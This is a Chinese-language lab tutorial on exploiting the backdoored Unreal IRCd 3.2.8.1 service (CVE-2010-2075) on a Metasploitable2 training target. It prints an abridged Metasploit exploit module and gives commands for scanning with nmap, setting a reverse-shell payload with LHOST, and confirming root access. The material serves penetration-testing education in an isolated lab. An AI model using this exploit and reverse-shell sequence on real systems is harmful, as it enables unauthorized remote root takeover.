使用 Nmap 和 Metasploit 利用 Unreal IRCd 漏洞

网络安全Beginner
立即练习

介绍

在本实验中,我们将学习如何利用托管在 LabEx 平台上的 Metasploitable2 目标机器中的 Unreal IRCd 服务漏洞。我们将首先了解 Unreal IRCd 服务中的漏洞原理,然后使用 Nmap 执行漏洞扫描。在识别出易受攻击的服务后,我们将利用 Metasploit 框架实施攻击,并在目标机器上获取远程 Shell。最后,通过在受控系统上执行命令来验证攻击是否成功。

理解 Unreal IRCd 漏洞并启动实验环境

Unreal IRCd 3.2.8.1 版本包含一个后门漏洞(CVE-2010-2075),允许远程攻击者在受影响的系统上执行任意代码。该漏洞存在于 DEBUG3_DOLOG_SYSTEM 宏中,其中包含了可被攻击者利用的恶意外部代码。

相关信息:

用于利用此漏洞的 Metasploit 模块:

以下是该 Metasploit 模块的简要概述:

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      ## ... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

现在,你将启动用于实验的攻击机(Kali Linux 容器)和目标机器(Metasploitable2 虚拟机)。

  1. 在 LabEx 主机上打开一个 xfce 终端,通过运行以下命令启动 Metasploitable2 目标机:
sudo virsh start Metasploitable2

等待目标机器启动,这可能需要 1-3 分钟。

  1. 通过 ping 测试与目标机器的连通性:
ping 192.168.122.102

Ctrl+C 停止 ping。

  1. 启动 Kali Linux 容器并进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
  1. 在 Kali 容器内,测试与目标机器的网络连接:
ping 192.168.122.102

Ctrl+C 停止 ping。

现在攻击机和目标机器均已运行,你可以开始渗透测试了。

注意:如果你不小心退出了当前的 bash,Kali 容器会自动停止。你可以在主机上再次执行 docker run -ti --network host b5b709a49cd5 bash 来启动一个新的 Kali 容器并进入 bash 继续实验。

执行漏洞扫描

在这一步中,我们将对目标机器执行漏洞扫描,以识别开放的端口以及在这些端口上运行的服务。我们将使用强大的 Nmap (Network Mapper) 工具来完成此任务。

  1. 在 Kali Linux 容器中启动 Metasploit 控制台:
cd ~
msfconsole
  1. 在 Metasploit 控制台中,使用 nmap 命令扫描目标机器:
nmap -sV -T4 192.168.122.102

-sV 选项用于探测开放端口的版本信息,-T4 将时间模板设置为激进级别(1-5,数值越高速度越快)。

输出结果应显示一个运行 unreal ircd 服务的开放端口 6667

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

利用 Unreal IRCd 漏洞

既然我们已经识别出运行在 6667 端口上的易受攻击的 Unreal IRCd 服务,现在可以继续使用 Metasploit 框架对其进行渗透攻击。

  1. 首先,如果你不在 Metasploit 控制台中,请启动它:
cd ~
msfconsole
  1. 在 Metasploit 控制台中,搜索 unreal_ircd_3281_backdoor 模块:
search unreal_ircd_3281_backdoor
  1. 加载该模块:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. 设置目标主机:
set RHOST 192.168.122.102
  1. 为该模块设置反向 Shell (reverse shell) Payload:
set PAYLOAD cmd/unix/reverse
  1. 设置接收反向 Shell 的 Kali 主机 IP 地址:
set LHOST 192.168.122.1
  1. 执行攻击:
exploit

如果攻击成功,你应该会在目标机器上获得一个远程 Shell。如果 Metasploit 显示已打开命令 Shell 会话,你可以在该 Shell 中继续执行验证命令。

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

验证攻击结果

为了验证攻击是否成功,我们可以在上一步获得的远程 Shell 中执行命令。

  1. 首先,如果你不在 Metasploit 控制台中,请启动它:
cd ~
msfconsole
  1. 使用 whoami 命令检查当前用户:
whoami
  1. 使用 hostname 命令检查主机名:
hostname
  1. 使用 ifconfig 命令检查 IP 地址:
ifconfig

如果输出显示当前用户为 root,主机名为 metasploitable,且 IP 地址与目标机器(192.168.122.102)匹配,则确认攻击已成功,你已获得对目标系统的完全控制权。

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

总结

在本实验中,我们了解了 Unreal IRCd 漏洞,并学习了如何使用 Metasploit 框架对其进行利用。我们从理解漏洞及其影响开始,随后执行漏洞扫描以识别易受攻击的服务。在发现运行于 6667 端口的 Unreal IRCd 服务后,我们使用了相应的 Metasploit 模块实施攻击并获得了对目标机器的远程访问权限。最后,我们通过在受控系统上执行命令验证了攻击的成功。本实验提供了漏洞分析、渗透攻击及攻击后验证的实战经验,这些都是道德黑客和网络安全专业人员必备的核心技能。